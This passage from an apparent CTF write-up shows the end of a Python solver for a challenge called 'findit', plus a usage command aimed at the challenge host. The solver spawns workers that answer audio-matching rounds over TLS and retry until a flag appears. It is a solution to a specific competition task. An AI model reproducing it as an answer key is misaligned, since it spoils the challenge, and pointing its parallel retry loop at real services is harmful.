exit"</span><span>)</span></div></div><div><div><div>286</div></div><div><span><span>    </span></span><span>ap.</span><span>add_argument</span><span>(</span><span>"--log-dir"</span><span>, </span><span>default</span><span>=</span><span>str</span><span><span>(</span><span>WORKSPACE</span><span> </span><span>/</span><span> </span></span><span>"findit"</span><span><span> </span><span>/</span><span> </span></span><span>"_solver_logs"</span><span>))</span></div></div><div><div><div>287</div></div><div><span><span>    </span></span><span>args </span><span>=</span><span> ap.</span><span>parse_args</span><span>()</span></div></div><div><div><div>288</div></div><div>
</div></div><div><div><div>289</div></div><div><span><span>    </span></span><span>sys.path.</span><span>insert</span><span>(</span><span>0</span><span>, </span><span>str</span><span><span>(</span><span>WORKSPACE</span><span>))</span></span></div></div><div><div><div>290</div></div><div>
</div></div><div><div><div>291</div></div><div><span>    </span><span>if</span><span> args.worker_id </span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>292</div></div><div><span><span>        </span></span><span>r </span><span>=</span><span> </span><span>run_worker</span><span>(args.host, args.port, args.worker_id,</span></div></div><div><div><div>293</div></div><div><span><span>                       </span></span><span>{</span><span>"verbose"</span><span>: args.verbose, </span><span>"attempts"</span><span>: args.attempts,</span></div></div><div><div><div>294</div></div><div><span>                        </span><span>"ssl"</span><span>: args.ssl, </span><span>"sni"</span><span>: args.sni})</span></div></div><div><div><div>295</div></div><div><span>        </span><span>print</span><span>(</span><span>"RESULT "</span><span><span> </span><span>+</span><span> json.</span><span>dumps</span><span>(r), </span></span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>296</div></div><div><span>        </span><span>return</span><span> </span><span>0</span></div></div><div><div><div>297</div></div><div>
</div></div><div><div><div>298</div></div><div><span>    </span><span>from</span><span> challenge_fastmatch </span><span>import</span><span> LogMelMatcher</span></div></div><div><div><div>299</div></div><div>
</div></div><div><div><div>300</div></div><div><span><span>    </span></span><span>t0 </span><span>=</span><span> time.</span><span>perf_counter</span><span>()</span></div></div><div><div><div>301</div></div><div><span><span>    </span></span><span>warm </span><span>=</span><span> </span><span>LogMelMatcher</span><span>(</span><span>verbose</span><span>=</span><span>False</span><span>)</span></div></div><div><div><div>302</div></div><div><span><span>    </span></span><span>warm.</span><span>build</span><span>(</span><span>52</span><span>)                       </span><span># pre-build the coarse index once</span></div></div><div><div><div>303</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"matcher ready in </span><span>{</span><span><span>time.</span><span>perf_counter</span><span>()</span><span>-</span><span>t0</span></span><span>:.2f</span><span>}</span><span>s: </span><span>{</span><span>len</span><span>(warm.ids)</span><span>}</span><span> tracks, "</span></div></div><div><div><div>304</div></div><div><span>          </span><span>f</span><span>"</span><span>{</span><span>warm.lib_c.shape[</span><span>0</span><span>]</span><span>}</span><span> coarse windows"</span><span>)</span></div></div><div><div><div>305</div></div><div><span>    </span><span>del</span><span> warm</span></div></div><div><div><div>306</div></div><div>
</div></div><div><div><div>307</div></div><div><span><span>    </span></span><span>n </span><span>=</span><span> </span><span>max</span><span>(</span><span>1</span><span>, args.workers)</span></div></div><div><div><div>308</div></div><div><span><span>    </span></span><span>log_dir </span><span>=</span><span> </span><span>Path</span><span>(args.log_dir)</span></div></div><div><div><div>309</div></div><div><span><span>    </span></span><span>log_dir.</span><span>mkdir</span><span>(</span><span>parents</span><span>=</span><span>True</span><span>, </span><span>exist_ok</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>310</div></div><div><span><span>    </span></span><span>results: list[</span><span>dict</span><span><span>] </span><span>=</span><span> []</span></span></div></div><div><div><div>311</div></div><div>
</div></div><div><div><div>312</div></div><div><span>    </span><span># ---- sequential mode: one connection at a time, retry after retry ----------</span></div></div><div><div><div>313</div></div><div><span>    </span><span># Gentlest on the server and the easiest output to read; the coarse index is</span></div></div><div><div><div>314</div></div><div><span>    </span><span># built once and reused by every worker instead of once per worker.</span></div></div><div><div><div>315</div></div><div><span>    </span><span>if</span><span> args.sequential </span><span>or</span><span><span> n </span><span>==</span><span> </span></span><span>1</span><span>:</span></div></div><div><div><div>316</div></div><div><span>        </span><span>from</span><span> challenge_fastmatch </span><span>import</span><span> LogMelMatcher</span></div></div><div><div><div>317</div></div><div><span><span>        </span></span><span>shared </span><span>=</span><span> </span><span>LogMelMatcher</span><span>(</span><span>verbose</span><span>=</span><span>False</span><span>)</span></div></div><div><div><div>318</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"sequential mode: 1 connection at a time, up to </span><span>{</span><span>args.attempts</span><span>}</span><span> "</span></div></div><div><div><div>319</div></div><div><span>              </span><span>f</span><span>"attempts per worker, </span><span>{</span><span>n</span><span>}</span><span> worker(s)"</span><span>)</span></div></div><div><div><div>320</div></div><div><span>        </span><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(n):</span></div></div><div><div><div>321</div></div><div><span><span>            </span></span><span>r </span><span>=</span><span> </span><span>run_worker</span><span>(args.host, args.port, i,</span></div></div><div><div><div>322</div></div><div><span><span>                           </span></span><span>{</span><span>"verbose"</span><span>: </span><span>True</span><span>, </span><span>"attempts"</span><span>: args.attempts,</span></div></div><div><div><div>323</div></div><div><span>                            </span><span>"ssl"</span><span>: args.ssl, </span><span>"sni"</span><span>: args.sni}, </span><span>matcher</span><span><span>=</span><span>shared)</span></span></div></div><div><div><div>324</div></div><div><span><span>            </span></span><span>results.</span><span>append</span><span>(r)</span></div></div><div><div><div>325</div></div><div><span>            </span><span>if</span><span><span> r.</span><span>get</span><span>(</span></span><span>"flag"</span><span>):</span></div></div><div><div><div>326</div></div><div><span>                </span><span>print</span><span>(</span><span>f</span><span>"</span><span>\n</span><span>flag captured by worker </span><span>{</span><span>i</span><span>}</span><span>; stopping early"</span><span>)</span></div></div><div><div><div>327</div></div><div><span>                </span><span>break</span></div></div><div><div><div>328</div></div><div><span>        </span><span>print</span><span>()</span></div></div><div><div><div>329</div></div><div><span>        </span><span>return</span><span><span> </span><span>_report</span><span>(results, args)</span></span></div></div><div><div><div>330</div></div><div>
</div></div><div><div><div>331</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"opening </span><span>{</span><span>n</span><span>}</span><span> connections to </span><span>{</span><span>args.host</span><span>}</span><span>:</span><span>{</span><span>args.port</span><span>}</span><span> ..."</span><span>)</span></div></div><div><div><div>332</div></div><div>
</div></div><div><div><div>333</div></div><div><span>    </span><span># </span><span>NOTE</span><span>: one subprocess per connection, with stdout redirected to a file.</span></div></div><div><div><div>334</div></div><div><span>    </span><span># multiprocessing.Pool / any piped stdio is unusable in this sandbox</span></div></div><div><div><div>335</div></div><div><span>    </span><span># (WinError 5 on named pipes), so results are exchanged through log files and</span></div></div><div><div><div>336</div></div><div><span>    </span><span># each worker's output is tailed back to the console by a thread.</span></div></div><div><div><div>337</div></div><div><span>    </span><span>import</span><span> subprocess </span><span>as</span><span> sp</span></div></div><div><div><div>338</div></div><div><span>    </span><span>import</span><span> threading</span></div></div><div><div><div>339</div></div><div><span><span>    </span></span><span>procs </span><span>=</span><span> []</span></div></div><div><div><div>340</div></div><div><span>    </span><span>for</span><span> i </span><span>in</span><span> </span><span>range</span><span>(n):</span></div></div><div><div><div>341</div></div><div><span><span>        </span></span><span>log </span><span>=</span><span> log_dir </span><span>/</span><span> </span><span>f</span><span>"worker_</span><span>{</span><span>i</span><span>:02d</span><span>}</span><span>.log"</span></div></div><div><div><div>342</div></div><div><span><span>        </span></span><span>cmd </span><span>=</span><span> [sys.executable, </span><span>str</span><span><span>(</span><span>Path</span><span>(</span></span><span>__file__</span><span><span>).</span><span>resolve</span><span>()),</span></span></div></div><div><div><div>343</div></div><div><span>               </span><span>"--host"</span><span>, args.host, </span><span>"--port"</span><span>, </span><span>str</span><span>(args.port),</span></div></div><div><div><div>344</div></div><div><span>               </span><span>"--worker-id"</span><span>, </span><span>str</span><span>(i), </span><span>"--log-dir"</span><span>, </span><span>str</span><span>(log_dir),</span></div></div><div><div><div>345</div></div><div><span>               </span><span>"--attempts"</span><span>, </span><span>str</span><span>(args.attempts)]</span></div></div><div><div><div>346</div></div><div><span>        </span><span>if</span><span> args.ssl:</span></div></div><div><div><div>347</div></div><div><span><span>            </span></span><span>cmd.</span><span>append</span><span>(</span><span>"--ssl"</span><span>)</span></div></div><div><div><div>348</div></div><div><span>        </span><span>if</span><span> args.sni:</span></div></div><div><div><div>349</div></div><div><span><span>            </span></span><span>cmd </span><span>+=</span><span> [</span><span>"--sni"</span><span>, args.sni]</span></div></div><div><div><div>350</div></div><div><span>        </span><span># every worker streams its per-round detail</span></div></div><div><div><div>351</div></div><div><span><span>        </span></span><span>cmd.</span><span>append</span><span>(</span><span>"--verbose"</span><span>)</span></div></div><div><div><div>352</div></div><div><span><span>        </span></span><span>fh </span><span>=</span><span> log.</span><span>open</span><span>(</span><span>"w"</span><span>, </span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>errors</span><span>=</span><span>"replace"</span><span>)</span></div></div><div><div><div>353</div></div><div><span><span>        </span></span><span>procs.</span><span>append</span><span>((i, sp.</span><span>Popen</span><span>(cmd, </span><span>stdout</span><span><span>=</span><span>fh, </span></span><span>stderr</span><span><span>=</span><span>sp.</span><span>STDOUT</span><span>, </span></span><span>stdin</span><span><span>=</span><span>sp.</span><span>DEVNULL</span><span>,</span></span></div></div><div><div><div>354</div></div><div><span>                                  </span><span>cwd</span><span>=</span><span>str</span><span><span>(</span><span>WORKSPACE</span><span>)), fh, log))</span></span></div></div><div><div><div>355</div></div><div>
</div></div><div><div><div>356</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"spawned </span><span>{</span><span>len</span><span>(procs)</span><span>}</span><span> workers, streaming their progress below "</span></div></div><div><div><div>357</div></div><div><span>          </span><span>f</span><span>"(logs also in </span><span>{</span><span>log_dir</span><span>}</span><span>)</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>358</div></div><div>
</div></div><div><div><div>359</div></div><div><span>    </span><span>def</span><span> </span><span>tail</span><span>(</span><span>idx</span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>path</span></span><span>:</span><span> Path</span><span>,</span><span><span> </span><span>proc</span></span><span>) -&gt; </span><span>None</span><span>:</span></div></div><div><div><div>360</div></div><div><span>        </span><span>"""Echo a worker's log lines to the console as they are written."""</span></div></div><div><div><div>361</div></div><div><span>        </span><span>with</span><span><span> path.</span><span>open</span><span>(</span></span><span>"r"</span><span>, </span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>errors</span><span>=</span><span>"replace"</span><span>) </span><span>as</span><span> f:</span></div></div><div><div><div>362</div></div><div><span>            </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>363</div></div><div><span><span>                </span></span><span>chunk </span><span>=</span><span> f.</span><span>readline</span><span>()</span></div></div><div><div><div>364</div></div><div><span>                </span><span>if</span><span> </span><span>not</span><span> chunk:</span></div></div><div><div><div>365</div></div><div><span>                    </span><span>if</span><span><span> proc.</span><span>poll</span><span>() </span></span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>366</div></div><div><span><span>                        </span></span><span>rest </span><span>=</span><span> f.</span><span>read</span><span>()</span></div></div><div><div><div>367</div></div><div><span>                        </span><span>if</span><span> rest:</span></div></div><div><div><div>368</div></div><div><span>                            </span><span>for</span><span> ln </span><span>in</span><span><span> rest.</span><span>splitlines</span><span>():</span></span></div></div><div><div><div>369</div></div><div><span>                                </span><span>if</span><span> </span><span>not</span><span><span> ln.</span><span>startswith</span><span>(</span></span><span>"RESULT "</span><span>):</span></div></div><div><div><div>370</div></div><div><span>                                    </span><span>print</span><span>(ln, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>371</div></div><div><span>                        </span><span>return</span></div></div><div><div><div>372</div></div><div><span><span>                    </span></span><span>time.</span><span>sleep</span><span>(</span><span>0.05</span><span>)</span></div></div><div><div><div>373</div></div><div><span>                    </span><span>continue</span></div></div><div><div><div>374</div></div><div><span><span>                    </span></span><span>ln </span><span>=</span><span> chunk.</span><span>rstrip</span><span>(</span><span>"</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>375</div></div><div><span>                    </span><span>if</span><span><span> ln.</span><span>startswith</span><span>(</span></span><span>"RESULT "</span><span>):</span></div></div><div><div><div>376</div></div><div><span>                        </span><span>continue</span><span>          </span><span># summary line, reported in the table</span></div></div><div><div><div>377</div></div><div><span>                    </span><span>if</span><span><span> ln.</span><span>strip</span><span>():</span></span></div></div><div><div><div>378</div></div><div><span>                        </span><span>print</span><span>(ln, </span><span>flush</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>379</div></div><div>
</div></div><div><div><div>380</div></div><div><span><span>        </span></span><span>threads </span><span>=</span><span> [threading.</span><span>Thread</span><span>(</span><span>target</span><span><span>=</span><span>tail, </span></span><span>args</span><span><span>=</span><span>(i, log, p), </span></span><span>daemon</span><span>=</span><span>True</span><span>)</span></div></div><div><div><div>381</div></div><div><span>                   </span><span>for</span><span> i, p, fh, log </span><span>in</span><span> procs]</span></div></div><div><div><div>382</div></div><div><span>        </span><span>for</span><span> t </span><span>in</span><span> threads:</span></div></div><div><div><div>383</div></div><div><span><span>            </span></span><span>t.</span><span>start</span><span>()</span></div></div><div><div><div>384</div></div><div><span>        </span><span># block on each process (no busy polling), then let its tail thread drain</span></div></div><div><div><div>385</div></div><div><span>        </span><span>for</span><span> i, p, fh, log </span><span>in</span><span> procs:</span></div></div><div><div><div>386</div></div><div><span><span>            </span></span><span>p.</span><span>wait</span><span>()</span></div></div><div><div><div>387</div></div><div><span><span>            </span></span><span>fh.</span><span>close</span><span>()</span></div></div><div><div><div>388</div></div><div><span>        </span><span>for</span><span> t </span><span>in</span><span> threads:</span></div></div><div><div><div>389</div></div><div><span><span>            </span></span><span>t.</span><span>join</span><span>(</span><span>timeout</span><span>=</span><span>5</span><span>)</span></div></div><div><div><div>390</div></div><div><span>        </span><span>print</span><span>()</span></div></div><div><div><div>391</div></div><div><span>        </span><span>for</span><span> i, p, fh, log </span><span>in</span><span> procs:</span></div></div><div><div><div>392</div></div><div><span><span>            </span></span><span>rec </span><span>=</span><span> </span><span>None</span></div></div><div><div><div>393</div></div><div><span>            </span><span>for</span><span> line </span><span>in</span><span><span> log.</span><span>read_text</span><span>(</span></span><span>encoding</span><span>=</span><span>"utf-8"</span><span>, </span><span>errors</span><span>=</span><span>"replace"</span><span><span>).</span><span>splitlines</span><span>():</span></span></div></div><div><div><div>394</div></div><div><span>                </span><span>if</span><span><span> line.</span><span>startswith</span><span>(</span></span><span>"RESULT "</span><span>):</span></div></div><div><div><div>395</div></div><div><span>                    </span><span>try</span><span>:</span></div></div><div><div><div>396</div></div><div><span><span>                        </span></span><span>rec </span><span>=</span><span> json.</span><span>loads</span><span>(line[</span><span>len</span><span>(</span><span>"RESULT "</span><span>):])</span></div></div><div><div><div>397</div></div><div><span>                    </span><span>except</span><span> json.JSONDecodeError:</span></div></div><div><div><div>398</div></div><div><span><span>                        </span></span><span>rec </span><span>=</span><span> </span><span>None</span></div></div><div><div><div>399</div></div><div><span>            </span><span>if</span><span> rec </span><span>is</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>400</div></div><div><span><span>                </span></span><span>rec </span><span>=</span><span> {</span><span>"worker"</span><span>: i, </span><span>"correct"</span><span>: </span><span>0</span><span>, </span><span>"rounds"</span><span>: </span><span>0</span><span>, </span><span>"flag"</span><span>: </span><span>None</span><span>,</span></div></div><div><div><div>401</div></div><div><span>                       </span><span>"error"</span><span>: </span><span>f</span><span>"no RESULT line (see </span><span>{</span><span>log</span><span>}</span><span>)"</span><span>, </span><span>"latencies"</span><span>: []}</span></div></div><div><div><div>402</div></div><div><span><span>            </span></span><span>results.</span><span>append</span><span>(rec)</span></div></div><div><div><div>403</div></div><div>
</div></div><div><div><div>404</div></div><div><span>    </span><span>return</span><span><span> </span><span>_report</span><span>(results, args)</span></span></div></div><div><div><div>405</div></div><div>
</div></div><div><div><div>406</div></div><div>
</div></div><div><div><div>407</div></div><div><span>def</span><span> </span><span>_report</span><span>(</span><span>results</span><span>:</span><span> list[</span><span>dict</span><span>]</span><span>,</span><span><span> </span><span>args</span></span><span>) -&gt; </span><span>int</span><span>:</span></div></div><div><div><div>408</div></div><div><span>    </span><span>"""Print the per-worker table and the flag, then hold the window open."""</span></div></div><div><div><div>409</div></div><div><span>    </span><span>print</span><span>(</span><span>"</span><span>\n</span><span>=== results ==="</span><span>)</span></div></div><div><div><div>410</div></div><div><span><span>    </span></span><span>flags: list[</span><span>str</span><span><span>] </span><span>=</span><span> []</span></span></div></div><div><div><div>411</div></div><div><span>    </span><span>for</span><span> r </span><span>in</span><span> results:</span></div></div><div><div><div>412</div></div><div><span><span>        </span></span><span>lat </span><span>=</span><span> </span><span>sorted</span><span>(r[</span><span>"latencies"</span><span>])</span></div></div><div><div><div>413</div></div><div><span><span>        </span></span><span>med </span><span>=</span><span> </span><span>f</span><span>"</span><span>{</span><span>lat[</span><span>len</span><span><span>(lat)</span><span>//</span></span><span>2</span><span><span>]</span><span>*</span></span><span>1000</span><span>:.0f</span><span>}</span><span> ms"</span><span> </span><span>if</span><span> lat </span><span>else</span><span> </span><span>"-"</span></div></div><div><div><div>414</div></div><div><span><span>        </span></span><span>err </span><span>=</span><span> </span><span>f</span><span>"   ERROR: </span><span>{</span><span>r[</span><span>'error'</span><span>]</span><span>}</span><span>"</span><span> </span><span>if</span><span><span> r.</span><span>get</span><span>(</span></span><span>"error"</span><span>) </span><span>else</span><span> </span><span>""</span></div></div><div><div><div>415</div></div><div><span><span>        </span></span><span>aten </span><span>=</span><span> </span><span>f</span><span>" over </span><span>{</span><span><span>r.</span><span>get</span><span>(</span></span><span>'attempts'</span><span>, </span><span>1</span><span>)</span><span>}</span><span> attempt(s)"</span><span> </span><span>if</span><span><span> r.</span><span>get</span><span>(</span></span><span>"attempts"</span><span>, </span><span>1</span><span><span>) </span><span>&gt;</span><span> </span></span><span>1</span><span> </span><span>else</span><span> </span><span>""</span></div></div><div><div><div>416</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"  worker </span><span>{</span><span>r[</span><span>'worker'</span><span>]</span><span>:2d</span><span>}</span><span>: </span><span>{</span><span>r[</span><span>'correct'</span><span>]</span><span>}</span><span>/10 correct "</span></div></div><div><div><div>417</div></div><div><span>              </span><span>f</span><span>"(</span><span>{</span><span>r[</span><span>'rounds'</span><span>]</span><span>}</span><span> rounds answered, median </span><span>{</span><span>med</span><span>}</span><span>)</span><span>{</span><span>aten</span><span>}{</span><span>err</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>418</div></div><div><span>        </span><span>if</span><span><span> r.</span><span>get</span><span>(</span></span><span>"flag"</span><span>):</span></div></div><div><div><div>419</div></div><div><span><span>            </span></span><span>flags.</span><span>append</span><span>(r[</span><span>"flag"</span><span>])</span></div></div><div><div><div>420</div></div><div>
</div></div><div><div><div>421</div></div><div><span><span>    </span></span><span>passing </span><span>=</span><span> </span><span>sum</span><span>(</span><span>1</span><span> </span><span>for</span><span> r </span><span>in</span><span> results </span><span>if</span><span> r[</span><span>"correct"</span><span><span>] </span><span>&gt;=</span><span> </span></span><span>9</span><span>)</span></div></div><div><div><div>422</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"</span><span>\n</span><span>connections with &gt;=9 correct: </span><span>{</span><span>passing</span><span>}</span><span>/</span><span>{</span><span>len</span><span>(results)</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>423</div></div><div>
</div></div><div><div><div>424</div></div><div><span>    </span><span>if</span><span> flags:</span></div></div><div><div><div>425</div></div><div><span><span>        </span></span><span>flag </span><span>=</span><span> flags[</span><span>0</span><span>]</span></div></div><div><div><div>426</div></div><div><span><span>        </span></span><span>bar </span><span>=</span><span> </span><span>"="</span><span><span> </span><span>*</span><span> (</span></span><span>len</span><span><span>(flag) </span><span>+</span><span> </span></span><span>8</span><span>)</span></div></div><div><div><div>427</div></div><div><span>        </span><span>print</span><span>(</span><span>f</span><span>"</span><span>\n</span><span>{</span><span>bar</span><span>}</span><span>\n</span><span>=== FLAG: </span><span>{</span><span>flag</span><span>}</span><span> ===</span><span>\n</span><span>{</span><span>bar</span><span>}</span><span>"</span><span>)</span></div></div><div><div><div>428</div></div><div><span><span>        </span></span><span>_hold</span><span>(args)</span></div></div><div><div><div>429</div></div><div><span>        </span><span>return</span><span> </span><span>0</span></div></div><div><div><div>430</div></div><div>
</div></div><div><div><div>431</div></div><div><span>    </span><span>print</span><span>(</span><span>"</span><span>\n</span><span>no flag; raise --workers or --attempts and rerun"</span><span>)</span></div></div><div><div><div>432</div></div><div><span><span>    </span></span><span>_hold</span><span>(args)</span></div></div><div><div><div>433</div></div><div><span>    </span><span>return</span><span> </span><span>1</span></div></div><div><div><div>434</div></div><div>
</div></div><div><div><div>435</div></div><div>
</div></div><div><div><div>436</div></div><div><span>def</span><span> </span><span>_hold</span><span>(</span><span>args</span><span>) -&gt; </span><span>None</span><span>:</span></div></div><div><div><div>437</div></div><div><span>    </span><span>"""Keep the terminal open so the flag stays readable.</span></div></div><div><div><div>438</div></div><div>
</div></div><div><div><div>439</div></div><div><span><span>    </span></span><span>The window vanishing the moment the script ends is the usual reason a solved</span></div></div><div><div><div>440</div></div><div><span><span>    </span></span><span>flag is never seen. We only pause when BOTH stdin and stdout are terminals:</span></div></div><div><div><div>441</div></div><div><span><span>    </span></span><span>checking stdin alone is not enough, because `python solve.py | Select-Object`</span></div></div><div><div><div>442</div></div><div><span><span>    </span></span><span>still leaves stdin attached to the console and would block automation. Passing</span></div></div><div><div><div>443</div></div><div><span><span>    </span></span><span>--no-pause, redirecting output, or running as a worker child skips the wait.</span></div></div><div><div><div>444</div></div><div><span><span>    </span></span><span>"""</span></div></div><div><div><div>445</div></div><div><span>    </span><span>if</span><span> </span><span>getattr</span><span>(args, </span><span>"no_pause"</span><span>, </span><span>False</span><span>) </span><span>or</span><span> </span><span>getattr</span><span>(args, </span><span>"worker_id"</span><span>, </span><span>None</span><span>) </span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span>:</span></div></div><div><div><div>446</div></div><div><span>        </span><span>return</span></div></div><div><div><div>447</div></div><div>
</div></div><div><div><div>448</div></div><div><span>    </span><span>def</span><span> </span><span>is_tty</span><span>(</span><span>stream</span><span>) -&gt; </span><span>bool</span><span>:</span></div></div><div><div><div>449</div></div><div><span>        </span><span>try</span><span>:</span></div></div><div><div><div>450</div></div><div><span>            </span><span>return</span><span> stream </span><span>is</span><span> </span><span>not</span><span> </span><span>None</span><span> </span><span>and</span><span><span> stream.</span><span>isatty</span><span>()</span></span></div></div><div><div><div>451</div></div><div><span>        </span><span>except</span><span> (</span><span>ValueError</span><span>, </span><span>OSError</span><span>):</span></div></div><div><div><div>452</div></div><div><span>            </span><span>return</span><span> </span><span>False</span></div></div><div><div><div>453</div></div><div>
</div></div><div><div><div>454</div></div><div><span>    </span><span>if</span><span> </span><span>not</span><span><span> (</span><span>is_tty</span><span>(sys.stdin) </span></span><span>and</span><span><span> </span><span>is_tty</span><span>(sys.stdout)):</span></span></div></div><div><div><div>455</div></div><div><span>        </span><span>return</span></div></div><div><div><div>456</div></div><div><span>    </span><span>try</span><span>:</span></div></div><div><div><div>457</div></div><div><span>        </span><span>input</span><span>(</span><span>"</span><span>\n</span><span>[按 Enter 关闭窗口 / press Enter to exit] "</span><span>)</span></div></div><div><div><div>458</div></div><div><span>    </span><span>except</span><span> (</span><span>EOFError</span><span>, </span><span>KeyboardInterrupt</span><span>):</span></div></div><div><div><div>459</div></div><div><span>        </span><span>print</span><span>()</span></div></div><div><div><div>460</div></div><div>
</div></div><div><div><div>461</div></div><div>
</div></div><div><div><div>462</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>463</div></div><div><span>    </span><span>raise</span><span> </span><span>SystemExit</span><span><span>(</span><span>main</span><span>())</span></span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>使用方法：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span><span>.</span><span>/</span><span>solve_findit.py </span><span>--</span><span>host </span></span><span>"4476385768724654364d6d74583167727236316339-p9999.chal.buptmerak.cn"</span><span><span> </span><span>--</span><span>port </span></span><span>443</span><span><span> </span><span>--</span><span>ssl </span><span>--</span><span>sni </span></span><span>"4476385768724654364d6d74583167727236316339-p9999.chal.buptmerak.cn"</span><span><span> </span><span>--</span><span>sequential </span><span>--</span><span>workers </span></span><span>1</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
</feed>
